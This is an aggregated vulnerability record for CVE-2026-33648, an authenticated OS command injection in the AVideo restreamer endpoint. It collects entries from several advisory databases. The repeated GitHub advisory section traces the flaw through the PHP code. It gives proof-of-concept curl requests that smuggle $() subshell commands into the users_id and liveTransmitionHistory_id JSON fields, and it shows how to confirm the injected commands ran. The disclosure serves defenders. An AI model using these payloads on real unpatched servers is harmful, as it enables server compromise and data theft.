CVE-2026-33648
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
- Record
CVE-2026-33648- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-14484
8.8
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
- Record
EUVD-2026-14484- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5m4q-5cvx-36mw
8.8
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
Summary
The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
Details
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220):
$request = file_get_contents("php://input");
$robj = json_decode($request);
2. Log file template (line 58):
$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";
3. users_id injected without sanitization (line 318):
$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);
4. liveTransmitionHistory_id injected without sanitization (line 407):
$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723):
// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
PoC
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Step 2: Send a crafted restream request with shell metacharacters in users_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "x$(id > /tmp/pwned)x",
"liveTransmitionHistory_id": "1"
}'
Step 3: The resulting exec call becomes:
ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution:
curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user
The same vector works through liveTransmitionHistory_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "1",
"liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
}'
Impact
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
- Full server compromise: Reading sensitive files (
/etc/passwd, database credentials,.envfiles) - Data exfiltration: Accessing the AVideo database and all user data
- Lateral movement: Using the compromised server as a pivot point
- Service disruption: Killing processes, modifying or deleting files
- **Persistent…
- Record
GHSA-5m4q-5cvx-36mw- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
8.8
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
- Record
CVE-2026-33648- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
8.8
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.
- Record
CVE-2026-33648- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-5m4q-5cvx-36mw
8.8
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
Summary
The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
Details
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220):
$request = file_get_contents("php://input");
$robj = json_decode($request);
2. Log file template (line 58):
$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";
3. users_id injected without sanitization (line 318):
$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);
4. liveTransmitionHistory_id injected without sanitization (line 407):
$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723):
// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
PoC
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Step 2: Send a crafted restream request with shell metacharacters in users_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "x$(id > /tmp/pwned)x",
"liveTransmitionHistory_id": "1"
}'
Step 3: The resulting exec call becomes:
ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution:
curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user
The same vector works through liveTransmitionHistory_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "1",
"liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
}'
Impact
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
- Full server compromise: Reading sensitive files (
/etc/passwd, database credentials,.envfiles) - Data exfiltration: Accessing the AVideo database and all user data
- Lateral movement: Using the compromised server as a pivot point
- Service disruption: Killing processes, modifying or deleting files
- **Persistent…
- Record
GHSA-5m4q-5cvx-36mw- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33648 is a high vulnerability (CVSS 8.8) in Wwbn Avideo, published March 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.65%, the 51st percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw
github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678
nvd.nist.gov/vuln/detail/CVE-2026-33648
github.com/advisories/GHSA-5m4q-5cvx-36mw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33648.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.